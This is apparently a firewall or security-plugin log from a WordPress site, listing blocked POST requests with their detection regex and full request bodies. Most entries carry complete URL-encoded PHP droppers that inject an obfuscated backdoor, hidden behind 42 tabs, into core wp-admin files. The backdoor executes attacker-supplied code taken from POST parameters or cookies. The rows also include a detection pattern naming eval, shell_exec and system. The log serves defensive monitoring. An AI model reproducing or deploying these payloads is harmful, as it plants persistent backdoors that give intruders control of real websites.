%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:50:47","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3676\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:51:24","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3261\n\nzc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:51:37","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3261\n\nvf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:51:49","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3261\n\nhY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-ajax-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B33%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B33%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B33%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B26%255D%253Bif%2528%2521%2524p%255B8%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B24%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B5%255D%2528%2524p%255B21%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%2